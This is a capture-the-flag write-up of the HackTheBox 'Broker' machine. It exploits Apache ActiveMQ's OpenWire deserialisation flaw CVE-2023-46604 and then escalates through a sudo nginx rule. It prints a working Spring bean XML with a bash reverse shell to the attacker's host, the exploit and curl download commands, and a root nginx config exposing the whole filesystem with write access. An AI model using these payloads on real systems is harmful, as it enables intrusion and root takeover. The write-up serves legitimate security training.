// HackTheBox
Broker
CVE-2023-46604 (ActiveMQ OpenWire RCE) → GTFOBins nginx sudo rule → arbitrary root-owned file read
Recon
An nmap top-1000 scan found only two ports: 22/ssh and 80/http. The web port
answers with a 401 Unauthorized and a WWW-Authenticate: basic realm="ActiveMQRealm"
header — that’s the Apache ActiveMQ web console, sitting behind HTTP basic auth. A
locked console with no credentials looks like a dead end, so the next move is a full
port sweep (nmap -p-) to see what else ActiveMQ is exposing. ActiveMQ is a message
broker that speaks several wire protocols on their own ports, and those are usually
far less guarded than the web UI:
| Port | Service |
|---|---|
| 22 | SSH |
| 80 | HTTP — 401, ActiveMQ web console (credential-gated) |
| 1883 | MQTT |
| 5672 | AMQP |
| 8161 | Web console (same as :80 via nginx proxy) |
| 61613/61614 | STOMP/WS |
| 61616 | OpenWire — unauthenticated, RCE-relevant |
Port 61616 is the one that matters. OpenWire is ActiveMQ’s native binary messaging protocol, and it accepts connections with no authentication even though the web console demands a login. An unauthenticated OpenWire endpoint on an ActiveMQ that predates the 2023 patch is exactly the setup for CVE-2023-46604 — the thread to pull.
Foothold — CVE-2023-46604 (ActiveMQ OpenWire RCE)
CVE-2023-46604 is a remote-code-execution flaw in how ActiveMQ deserialises OpenWire
messages. The OpenWire marshaller lets a client-supplied EXCEPTION_RESPONSE command
name any class on the broker’s classpath and have the broker instantiate it, passing
one attacker-controlled string to its constructor. The class chosen for the exploit is
org.springframework.context.support.ClassPathXmlApplicationContext — a Spring helper
whose constructor takes a URL, fetches a Spring bean-definition XML file from it, and
loads the beans it describes. Since a bean definition can name any class and any
constructor/init-method, this turns “instantiate a class by name” into “run whatever
the remote XML tells me to.”
1. Craft the malicious Spring bean XML
The payload bean invokes java.lang.ProcessBuilder and marks start as its
init-method, so Spring runs the process as soon as the bean is created. The command is
a bash reverse shell back to the attacker on port 4444. This is saved as
exploit/webroot/poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/<LHOST>/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
2. Serve the XML over HTTP
The broker has to be able to fetch poc.xml, so a plain HTTP server is started in the
directory holding it. Ruby’s built-in one-liner is enough:
$ ruby -run -e httpd . -p 8000
3. Fire the OpenWire packet
exploit/exploit.py (from the public PoC repo evkl1d/CVE-2023-46604) hand-builds
the raw OpenWire binary packet: a length prefix, the type byte 0x1f
(EXCEPTION_RESPONSE), then the target class name and the XML URL encoded as
length-prefixed strings. It opens a bare TCP socket to 61616/tcp and sends the bytes
directly — no ActiveMQ client library and no authentication involved:
$ python3 exploit.py <TARGET> 61616 http://<LHOST>:8000/poc.xml
4. Catch the shell
The broker parses the packet, instantiates ClassPathXmlApplicationContext, fetches
poc.xml over HTTP from our server, and loads the ProcessBuilder bean — which fires
the reverse shell. A nc -lvnp 4444 listener catches it as the activemq service
user. The version banner confirms why it worked: the install is
/opt/apache-activemq-5.15.15, and the vulnerable range for that branch is anything
below 5.15.16.
Privilege Escalation — GTFOBins nginx sudo rule → arbitrary root-owned file read
The first thing to check as any new user is sudo -l, which lists what the user may
run via sudo. Here it returns:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
activemq can run the nginx binary as root with no password. nginx isn’t an obvious
“hacking tool,” but GTFOBins (a catalogue of how ordinary binaries can be abused to
break out of a restricted context) documents a technique for exactly this. nginx
accepts an arbitrary configuration file with -c, and a config that sets root /;
plus autoindex on; makes nginx serve the entire filesystem; enabling the WebDAV
PUT method (dav_methods PUT;) additionally makes that tree writable. Because sudo
runs nginx as root, the worker process — and every file it reads or writes — operates
with root’s privileges.
1. Write the malicious nginx config
user root;
worker_processes 1;
pid /tmp/nginx_evil.pid;
events { worker_connections 1024; }
http {
server {
listen 8443;
root /;
autoindex on;
dav_methods PUT;
}
}
2. Get it onto the target and launch nginx as root
The config is served from the same ruby -run -e httpd server used earlier, pulled
down with curl, and then nginx is started against it via sudo:
$ curl http://<LHOST>:8000/evil.conf -o /tmp/evil.conf
$ sudo /usr/sbin/nginx -c /tmp/evil.conf
3. Read root-owned files over HTTP
With root / and autoindex on, a plain GET to the new listener already exposes
the whole filesystem as root — there’s no need to even use the PUT write primitive
for this goal. Requesting the flag path returns it directly:
$ curl http://10.129.230.87:8443/root/root.txt
That returned root.txt. (The PUT method would additionally allow arbitrary
root-owned file writes — dropping an SSH key into /root/.ssh/authorized_keys or a
job into /etc/cron.d for a full interactive root shell — but a read was sufficient
here, so it wasn’t needed.)
Key Takeaways
- OpenWire (61616) is unauthenticated by default even when the web console (80/8161) is credential-gated — always check ActiveMQ’s other protocol ports (OpenWire, STOMP, MQTT, AMQP) independently of the HTTP console’s auth state.
- CVE-2023-46604 doesn’t need a compiled payload class (unlike Log4Shell’s JNDI/LDAP chain) — it’s a raw crafted OpenWire packet pointing at a remote Spring XML bean definition; much lighter tooling requirement (just a Python socket script and an HTTP server).
- GTFOBins-documented sudo escapes are worth checking by rote for any binary with
a bare
NOPASSWDsudo entry, even ones that don’t look obviously dangerous — nginx isn’t a “hacking tool,” but a custom-cconfig turns it into an arbitrary root-privileged file server/writer. - Once such a server is up with
root /andautoindex on, don’t over-engineer the privesc — a plain GET can be enough if the goal is reading a specific file; PUT is only needed for writes (persistence, cron, SSH keys, sudoers).